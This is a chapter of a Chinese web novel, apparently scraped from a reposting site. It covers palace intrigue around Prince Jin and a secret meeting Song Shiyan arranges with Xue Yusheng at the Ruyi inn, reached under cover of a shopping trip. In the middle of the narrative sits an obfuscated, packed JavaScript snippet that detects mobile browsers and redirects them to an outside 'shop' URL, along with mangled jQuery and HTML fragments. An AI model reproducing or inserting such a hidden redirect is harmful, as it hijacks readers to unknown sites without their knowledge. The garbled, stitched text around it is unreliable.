109. 青云上(四)
作品:《十一年望都犹记》 腊月二十二,晋王又召集下属做了最后一次商讨。但其实该做的准备早就已经就绪,经过几月的磨合,皇城禁军如今上下同心,一致听命于晋王。
越到关键时刻,晋王反倒越发镇定。下属汇报:“昨夜,东宫里灯火通明,太子与众幕僚议事到深夜,直到今日卯时,灯火才熄。”
这是一个不同寻常的信号。晋王沉吟许久,又抬眸,看了坐在下首最末的那人一眼。
他看到薛雨生勾起嘴角,一双幽深的眸子里似有火焰在跳动。
晋王如有所感,心突地猛烈跳动起来。
待商议完毕,晋王独留下薛雨生。
他没有说其他,只问了三个字:“确定吗?”
薛雨生笑起来,这一次晋王看清了,他眸中闪动的是野心的火焰。
他肃然叉手,一字一顿道:“必不辱使命。”
腊月二十三,群臣朝拜,皇帝领众臣举行“封宝”仪式,昭示正式进入过年。
明日各衙门都要封印了,只这里面不包括金吾卫。越到年关,金吾卫的工作就越不能懈怠。毕竟这一段时间大家都闲在家里,容易生出什么事端。
大过年的出事,是皇帝最不想见到的。
薛雨生骑马巡视街巷,等这一带巡视完,也该到他交班时间了。
他的目光一点点扫过,只这时,有卫兵道:“中候,后面有个小僮在唤你。”
薛雨生扭过头。
还真是个小僮。
青芜在巷子口就看到薛雨生这一队人马了,只他个子小,哪赶得上他们这些骑马的,跟着跑了一条街,才终于唤住了人。
薛雨生有些意外。那日虽然他说了一句以后还会来看他们,但他知道,若非必要,他不会再见与宋氏相关的人了。
青芜脚步飞快,想着等会要告知的事,心更是怦怦直跳,好不容易到了薛雨生跟前,也来不及歇息,喘着气道:“薛,薛大人,终于找到你了。”
在外面,可不能继续叫他薛夫子了,虽然青芜觉得,比起薛大人,薛夫子要更亲近更顺口一些,但他也感觉到,薛夫子如今回来后变了很多,似乎并不想再提起以前那些事。
薛雨生下了马,一脸平静地道:“你找我,有事?”
青芜点头,左右看了看,小声道:“薛大人,等会可否去如意居一趟?”
这个时间,望都小一点的店铺都歇业了,只有几个大一些的酒楼还在营业,如意居便是其中之一。而且,因为生意太好,往往都要提前预定。
薛雨生目光沉凝,那目光仿佛能看穿人心,青芜不由微微一愣,疑心他已经猜出了什么。
但接下来,他开口了,问道:“哦,是因何事?”
青芜舔舔唇,想起大夫人的交代,只道:“是我家大,大郎君想邀请你去一趟。”
薛雨生与宋晖值相交不多,此番也实在想不到他有何事一定要约见他。
薛雨生望着青芜,对方毕竟只是个僮儿,在长久的凝视下,他的视线开始躲闪游离。
“我,我也不清楚具体是什么事……”
青芜感觉连话都说不好了。怎么回事,薛夫子难道知道什么了吗?
但就在青芜搜刮着如何找理由劝说他去如意居时,薛雨生已经收回视线。
“好,今日酉时,我在如意居等他。”
竟然答应了,青芜松了一口气,再抬眼时,薛雨生已经骑上了马,只冲他点点头,而后领着队伍消失在巷尾。
乌泱泱的人,如一阵风,裹卷着地上的尘土。
气势逼人。
青芜愣愣站在原地。
薛夫子,不,薛大人,果真同以前不一样了。
他心中生出一阵怅惘,只到底年纪小,叹息了几声情绪就下去了,又抹了抹额,见天色已经不早,赶紧转了个身,往另一侧走去。
到了郡王府时,管事一听青芜是宋府过来的,带着他去了内院。
若是宋府派来的是个小厮,那管事就得让他在外院暂等,先请示了夫人,再由夫人派来婆子与他见面。只一个僮儿,就没这么多讲究了,管事带他见到了夫人。
宋时言这些日子都在等着阿娘那边的消息,此时一见青芜,触到他一双亮晶晶的双眼,便知道事情已经成了。她按捺住内心里骤然而生的紧张而期待的心情,先问了问宋府诸人的近况。
青芜自然明白这种事不能当着郡王府下人说,待到侍女下去换茶水的间隙,才开口,只说了八个字:“今日酉时,如意居。”
说完赶紧闭上嘴,又左右看了看,生怕被人偷听了去。
宋时言心口砰砰直跳。
她还想多问问细节,只是门边响起脚步声,侍女端着茶盏回来了。
青芜又说了一阵话,宋时言点点头:“我知道了,你跟我阿娘说,我在这里一切都好,请她放心。”
宋时言望了侍女一眼,侍女掏出一把铜钱递给青芜。
青芜笑呵呵接过,又说了几句吉祥话。
这僮儿长得喜庆,嘴又乖,侍女们都很喜欢。
待人高高兴兴离开了,宋时言抿了抿茶,坐了一会又站起来。
“给门房说一声,准备马车,我要出门。”
外面店铺差不多都要歇业了,这个时候,夫人怎地要出门了?
只宋时言如今已经接了中馈,是郡王府女主子了,且她上头没有婆母,自然是想出门就出门,不用禀告谁。
管事通知了门房,门房很快准备好马车。
宋时言去了西街。诚如管事所想,西街上好多店面都关了,只也有店铺还开着。年前的这段时间人流最大,掌柜的也想撑到最后一刻,多赚点钱,给妻子孩子们买年礼,等明天就正式歇业了。
宋时言先进了一家首饰铺。侍女们跟在一旁,她们都是郡王府的侍女,也是第一次跟着宋时言出来,掌柜看她穿着,又见后面跟着的侍女,便知是来了贵客,热情招呼着她们往里面走。
这种首饰铺分了内外间,外间用于接待一般的散客,内间则用于招待譬如宋时言这般的贵妇,贵女。
内间里摆了桌椅,还有专门的热水用于净手。侍女们虽垂着头,却忍不住抬眸,偷偷打量着。一看就是第一次来这种地方。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295207|174474||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
若是在魏国公府,这样的侍女是不可能随主子外出的,只偏偏这次宋时言没带她那几个陪嫁婢女。下人们之间也有自己的圈子,都相互看着比着呢,特别是如今郡王府里只有这一位女主子,而她身边还没有划分一等二等侍女呢,眼下谁能更近地跟在主子身边,意味着更得主子信任,搞不好就能被主子指为一等侍女。
郡王府的一等侍女,比外面乡绅之家的当家主母还要体面呢。
这都是切身的利益,谁能不动心。
于是侍女们服侍得愈发殷勤,见宋时言净了手,忙递了帕巾来。
掌柜端了托盘进来,一眼就看到了宋时言捧着手帕下纤细赛雪的手腕,他们做珠宝生意的,都有一双好眼,便知这女客非一般的贵女。
便弃了托盘左边的首饰,转而着重介绍起右边几串珠链来。
宋时言今日本也不是专程来买首饰的,只不得不说,掌柜挑选的那几串珠链着实精美,她戴在手上看了看,侍女们都发出讶然赞叹。
反正也要做做样子,宋时言就选了其中最亮的两条,让掌柜打包。
出了首饰铺,又进绸缎庄。
侍女们看着宋时言点了好些衣衫料子,不禁暗自咋舌。方才的首饰加上这些料子,少说得有七八两银子了,她们的月钱才多少,七八两银子可要攒好些年呢。
又想到前几日的十里红妆,既感慨又羡慕,夫人的嫁妆可绕了半个望都城呢,果真是世族出来的贵女,随便漏漏手指缝,就抵得上她们好几年的花销了。
宋时言沿着西街走了一圈,能逛的店面都逛了,大大小小零零落落买了不少东西,将马车都塞满了,眼看时间差不多,宋时言看了看马车,道:“你们先带着东西回府,回头再来接我。”
马车里都是货物,的确不好坐人,也只能分两趟了。
宋时言指了指对面的酒楼:“我在里面等着,也不用这么多人陪着了,你们都回去吧,留一人就行。”
宋时言指了个侍女。
马夫一看,见是如意居,也没什么意见,驾着马车往郡王府去了。
到了如意居,报上宋氏名号,果然留了一间房。
这个时间,他还没到吧?
宋时言攥着手心,上了楼。
到了门边,心跳得仿佛要脱出腔子,她兀自深吸一口气,又扫了扫周身,反复确认后才小心翼翼推开门。
屋内果真没人。
宋时言长长吐出一口气。
平静下来,又摇头失笑。是自己要找他见面的,怎地如今还胆怯起来了?
如意居的二楼都是包间,隔音很好,宋时言来到窗边,将窗拉开一条缝。
外面的喧嚣就扑面而来。
挑担的货郎吆喝着招揽客人,穿大红棉袄的小孩子在人群中钻来钻去,冬日的街头,人人脸上都洋溢着迎接新年的喜悦。
一年又要过去了。
宋时言将目光投向更远处。
越过高地起伏的屋檐,在街巷的尽头,好似有人正骑马向着这边而来。
看着那人,宋时言的身影倏而僵住。

